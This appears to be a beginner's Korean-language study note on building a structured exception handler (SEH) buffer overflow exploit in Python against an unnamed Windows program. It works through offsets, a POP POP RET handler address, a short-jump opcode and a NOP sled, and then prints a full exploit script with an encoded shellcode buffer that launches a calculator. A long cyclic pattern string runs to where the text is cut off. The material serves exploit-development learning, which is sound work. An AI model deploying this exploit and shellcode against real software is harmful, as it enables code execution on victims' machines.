# pop pop ret => !mona seh => must safe SEH = failed

seh_handler = struct.pack('<L',0x0040793f) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + buf + "B" * 6000

 

nop없이 한번 진행해보자. 왜 nop을 쓰는지 알고싶기 때문이다.

 

FF FF 에서 막혀버린다. 그래서 BAD CODE라고 하나보다. 

 

그렇다면 다시 페이로드를 짜보자.

0x0010055f로 가려면 0x90이 20개 있어야 한다.

 

# my_idea

seh_next = struct.pack('<L',0x0010055F) # SEH_NEXT

#seh_handler = struct.pack('<L',0xFFFFFFFF) # SEH_HANDLER

# pop pop ret == seh_handler

# pop pop ret => !mona seh => must safe SEH = failed

seh_handler = struct.pack('<L',0x0040793f) # SEH_HANDLER => POP POP RET

payload = "A" * (784-4) + seh_next + seh_handler + "\x90" * 20 + buf + "B" * 6000

 

음 될때까지 한다. 난 초보니까 

 

다시 처음 페이로드부터 지금 eip는 FFFFFFF니까 

EIP를 POP POP RET로 

seh_next를 0x90909090으로 

 

seh_handler 스택 주소 0x100544 -> 0040793F 가리킴 

 

SEH_NEXT를 0x90909090에서 FF FF FF FF를 우회할 수 있는 위치를 찾아서 Short jmp해야 함

5a까지 15

 

jmp short 0x0010055a 

 

\x90 * 15 

 

seh_next = struct.pack('<L',0x0010055A)

seh_handler = struct.pack('<L',0x0040793F)

payload = "A" * (784-4) + seh_next + seh_handler + "\x90" * 15 + buf + "B" * 6000

 

SEH_NEXT에 주소를 넣는 것이 아니라 opcode를 삽입해야한다. 여기서 실수를 .. 

 

다시 복습 

 

주소 0x00100544에 seh handler를 가리킴 (0040793F)

 

0x00100544에 접근하면 90 90 90 90이 있을 거임

 

JMP SHORT 0x100558정도로 하면 opcode가 EB 12가 되고 리틀 엔디언으로 12 EB로 적어야 함

그렇다면 seh_next 페이로드는 

seh_next = struct.pack('<L',0x909012EB)

 

0X90은 15개 (넉넉히) 어차피 6000바이트 짤림 다른곳에서 짤리니까 상관 ㄴㄴ 

 

seh_next = struct.pack('<L',0x909012EB)

seh_handler = struct.pack('<L',0x0040793F)

payload = "A" * 780 + seh_next + seh_handler + "\x90" * 15 + buf + "B" * 6000

 

계산기가 잘 뜸을 확인 

 

Payload

 

#! Python

 

import struct

 

#buf

buf =  ""

buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49"

buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"

buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"

buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"

buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x58\x49"

buf += "\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54"

buf += "\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34"

buf += "\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f"

buf += "\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34"

buf += "\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32"

buf += "\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70"

buf += "\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\x43\x76\x50\x6d"

buf += "\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d"

buf += "\x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61"

buf += "\x39\x30\x39\x4e\x36\x6e\x48\x58\x73\x5a\x37\x63\x50"

buf += "\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c"

buf += "\x52\x6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a"

buf += "\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x57"

buf += "\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47"

buf += "\x62\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56"

buf += "\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56"

buf += "\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44"

buf += "\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31"

buf += "\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71"

buf += "\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\x4c"

buf += "\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b"

buf += "\x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a"

buf += "\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\x50\x4f"

buf += "\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f"

buf += "\x4b\x39\x4b\x33\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32"

buf += "\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f"

buf += "\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72"

buf += "\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76"

buf += "\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b"

buf += "\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71"

buf += "\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c"

buf += "\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54"

buf += "\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d"

buf += "\x76\x74\x33\x79\x76\x35\x41\x41"

 

 

# Exploit Payload

#payload = '\x90' * 100 + buf + "A" * ( - 100 -len(buf)) 

# payload += struct.pack('<L',0xFFFFFFFF) # RET Address

#payload = A*30000

 

#payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8L